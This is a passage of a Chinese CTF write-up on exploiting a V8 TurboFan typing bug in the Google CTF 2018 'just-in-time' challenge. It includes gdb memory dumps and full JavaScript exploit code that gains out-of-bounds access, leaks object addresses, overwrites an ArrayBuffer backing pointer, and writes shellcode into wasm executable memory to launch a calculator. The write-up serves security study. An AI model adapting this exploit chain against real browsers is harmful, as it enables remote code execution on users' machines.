(gdb) x/4gx 0x15e5d1c8140 // JS_FUNCTION0x15e5d1c8140: 0x000027335a1062b1 0x000022c411e02d290x15e5d1c8150: 0x000022c411e02d29 0x0000015e5d1c8109(gdb) x/2gx 0x0000015e5d1c8108 // SharedFunctionInfo0x15e5d1c8108: 0x000022c411e02a99 0x0000015e5d1c80e1(gdb) x/3gx 0x0000015e5d1c80e0 // FunctionData0x15e5d1c80e0: 0x000022c411e09479 0x00002ce1fe39bce10x15e5d1c80f0: 0x0000015e5d1c7f69 (gdb) x/30gx 0x0000015e5d1c7f68 // Instance0x15e5d1c7f68: 0x000027335a108421 0x000022c411e02d290x15e5d1c7f78: 0x000022c411e02d29 0x00002dd2cf94e1890x15e5d1c7f88: 0x00002dd2cf94e371 0x0000392436f03da10x15e5d1c7f98: 0x0000015e5d1c8061 0x000022c411e025b10x15e5d1c7fa8: 0x000022c411e025b1 0x000022c411e025b10x15e5d1c7fb8: 0x000022c411e025b1 0x000022c411e02d290x15e5d1c7fc8: 0x000022c411e02d29 0x000022c411e025b10x15e5d1c7fd8: 0x00002dd2cf94e301 0x000022c411e025b10x15e5d1c7fe8: 0x000022c411e022a1 0x00002ce1fe068ae10x15e5d1c7ff8: 0x00007f8e90000000 0x00000000000100000x15e5d1c8008: 0x000000000000ffff 0x000055f2affd67f80x15e5d1c8018: 0x000055f2affdd938 0x000055f2affdd9280x15e5d1c8028: 0x000055f2b007f6c0 0x00000000000000000x15e5d1c8038: 0x000055f2b007f6e0 0x00000000000000000x15e5d1c8048: 0x0000000000000000 0x00001b3e42795000(gdb) x/1gx 0x00001b3e42795000 // JumpTableStart0x1b3e42795000: 0x1b3e427954a0ba49

可以看到最终得到的数值0x00001b3e42795000确实是一个4KB对齐的地址。

4.6.4 获得可执行内存的代码


我在最初实验的时候,还没有认真进行上面的分析,只是按照参考资料10的方法,先通过%DebugPrint输出WasmInstanceObject的地址,然后在调试器中查看其后的大片内存,找到4KB对齐的地址(十六进制时低三位均为0)所在的偏移,然后直接确定了jump table start address。
 
代码如下:
let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function try2(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; buf_arr = new ArrayBuffer(AB_LENGTH); // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1; var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; // get address of wasm_instance obj_arr[1] = wasm_instance; let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n; // add offset 29 * 8 = E8 let jump_table_ptr = wasm_instance_addr + 0xE8n; // read the number at jump_table_ptr // which is jump table start address oob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointer let view = new BigUint64Array(buf_arr); // read backing store in uint64 format let jump_table_addr = view[0]; console.log(tohex(jump_table_addr)); } return v;}

输出结果:
test@test-vm:~/ctf2018$ node --allow-natives-syntax try2.js00003e9245ae80004.243991582e-314

输出结果正常!

4.7 写入shellcode,触发!


接下来这事儿就很简单了,我们已经知道怎么获取对象地址,怎么读写任意地址,也知道要写入的位置,只要把所有东西凑到一起就可以了。
 
这次给出完整的代码:
let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00]; let ab = new ArrayBuffer(8);let fv = new Float64Array(ab);let dv = new BigUint64Array(ab); function f2i(f) { fv[0] = f; return dv[0];} function i2f(i) { dv[0] = BigInt(i); return fv[0];} let AB_LENGTH = 0x100;let AB_LENGTH_64 = 0x0000010000000000;let OOB_LENGTH_64 = 0x0000006400000000;let MARKER1 = 0x11;let MARKER1_64 = 0x0000001100000000; function pwn(x) { let bug_arr = [1.1, 1.1, 1.1, 1.1, 1.1]; oob_arr = [2.2, 2.2]; obj_arr = [MARKER1, Math]; buf_arr = new ArrayBuffer(AB_LENGTH); // overwrite the length of oob_arr let y = (x ? 18014398509481984 : 18014398509481978) y = y + 2 + 2; y = y - 18014398509481982; y = y * 2; let v = bug_arr[y]; bug_arr[y] = i2f(OOB_LENGTH_64); if (x) { let addr_idx = oob_arr.indexOf(i2f(MARKER1_64)) + 1; let bp_idx = oob_arr.indexOf(i2f(AB_LENGTH_64)) + 1; var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; // get address of wasm_instance obj_arr[1] = wasm_instance; let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n; // add offset 29 * 8 = E8 let jump_table_ptr = wasm_instance_addr + 0xE8n; // read the number at jump_table_ptr // which is jump table start address oob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointer let view = new BigUint64Array(buf_arr); // read backing store in uint64 format let jump_table_addr = view[0]; // write in shellcode at jump table oob_arr[bp_idx] = i2f(jump_table_addr); // change backing pointer view = new Uint32Array(buf_arr); // write backing store in uint32 format for (let i = 0; i < shellcode.length; ++i) { view[i] = shellcode[i]; } f(); // 调用函数,执行shellcode } return v;} for (var i = 0; i < 0x10; ++i) { pwn(false);}%OptimizeFunctionOnNextCall(pwn);console.log(pwn(true));

成功弹出计算器:


4.8 关于fakeobj和addrof


saelo的文章(http://www.phrack.org/papers/attacking_javascript_engines.html)详细地介绍了如何对OOB类型的漏洞进行利用,提到了通过fakeobj和addrof原语实现任意地址读写(addrof原语接收一个对象参数并返回其地址,fakeobj原语接收一个地址参数并返回一个位于该地址的假的对象),从而写入shellcode并执行。由于这篇文章针对的是Webkit的引擎JavaScriptCore,我对此并不十分了解,因此没有仔细看这篇文章,也就没放在参考资料中。
 
参考资料10中对于该利用方法在v8上的应用给出了很好的示例介绍,这篇资料中专门定义了addrof和fakeobj函数,然后通过这两个函数又定义了任意读和任意写函数,个人觉得是这种漏洞利用方法的模板化范例了。
 
不过由于此次分析的漏洞特性,不需要也不方便单独定义出fakeobj和addrof函数式。一方面这次的漏洞需要很精细地挑选数值,实现一次OOB,虽然OOB的长度可变,但每组确定的数值导致的OOB长度是固定的,这种情况下单独定义函数写出来的代码会很乱;另一方面,由于这次漏洞可以覆盖bug_arr数组后可变长的一段内存,我们可以直接利用这一点覆盖后方数组的长度属性,从而获得一种更灵活的OOB访问方式,最终也实现了类似addrof和fakeobj的功能,从而实现了任意地址读写。
 
具体来说,代码中的addrof部分很明显,就是下面这段代码:
// get address of wasm_instanceobj_arr[1] = wasm_instance;let wasm_instance_addr = f2i(oob_arr[addr_idx]) - 1n;

将想要获得地址的对象放在oob_arr后方的一个固定位置,然后通过越界读就可以获得其地址了。
 
fakeobj的功能不太明显,它并不是一段代码,而是buf_arr本身,可以说buf_arr就是一个fake object。因为每次我们想在某个地址上读写数据的时候,就用这个地址替换buf_arr的backing pointer,这样就算是得到了一个“假的”对象了,然后再通过typed array objects对目标地址进行读写:
// read the number at jump_table_ptr// which is jump table start addressoob_arr[bp_idx] = i2f(jump_table_ptr); // change backing pointerlet view = new BigUint64Array(buf_arr); // read backing store in uint64 formatlet jump_table_addr = view[0];



5


总结


这次的漏洞分析花费了我近一个月的时间,一开始想要分析的并不是这个CTF题目,而是一个V8的CVE漏洞,结果发现自己什么都不懂,然后就从参考资料一路点击,最终定位到了这道题目。
 
除了基础资料之外,看的第一篇针对性文章是参考资料2,然后就陷入了fakeobj的怪圈(那时候我还不知道这是什么东西),最终通过参考资料10的解释才逐渐理出头绪,虽然方法相同,但是你会发现我的代码和参考资料2还是有很大差别的。我之所以添加了最后的4.8小节,一个很重要的原因就是要把一开始我的疑惑给理清楚。
 
在阅读这些参考资料的过程中,我发现saelo的文章真的是一座里程碑,所有OOB的漏洞最后都提到了这篇文章,因此一定要把它加到我的待阅清单里。
 
最后十分感谢参考资料中的所有文章作者。
 
如果内容有错误,欢迎指正 (^_^)



6


参考资料


1、Github项目(题目信息及资料下载)

https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time


2、Introduction to TurboFan(关键文章!!!)

https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/


3、Double-precision floating-point format(基础知识)

https://en.wikipedia.org/wiki/Double-precision_floating-point_format


4、Google CTF justintime exploit(参考,没有仔细看)

https://eternalsakura13.com/2018/11/19/justintime/


5、V8 Objects and Their Structures(基础知识)

https://pwnbykenny.com/2020/07/05/v8-objects-and-their-structures/


6、An Introduction to Speculative Optimization in V8(只看了前半部分,v8基础)

https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8


7、Chrome V8文档(一些不了解的琐碎的知识点是在这里学习的)

https://v8.dev/blog


8、Exploiting the Math.expm1 typing bug in V8(关键文章!!!)

https://abiondo.me/2019/01/02/exploiting-math-expm1-v8


9、ArrayBuffer(关于ArrayBuffer的介绍)

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer


10、Exploiting v8: *CTF 2019 oob-v8(关键文章!!!个人觉得对于addrof和fakeobj介绍的很好)

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/




 


看雪ID:LarryS

https://bbs.pediy.com/user-home-600394.htm

*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区




# 往期推荐

1.内核学习-异常处理

2.内核漏洞学习-HEVD-StackOverflowGS

3.某钱包转账付款算法分析篇

4.通过PsSetLoadImageNotifyRoutine学习模块监控与反模块监控

5.常见的几种DLL注入技术

6.侠盗猎车 — 玩转固定码






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存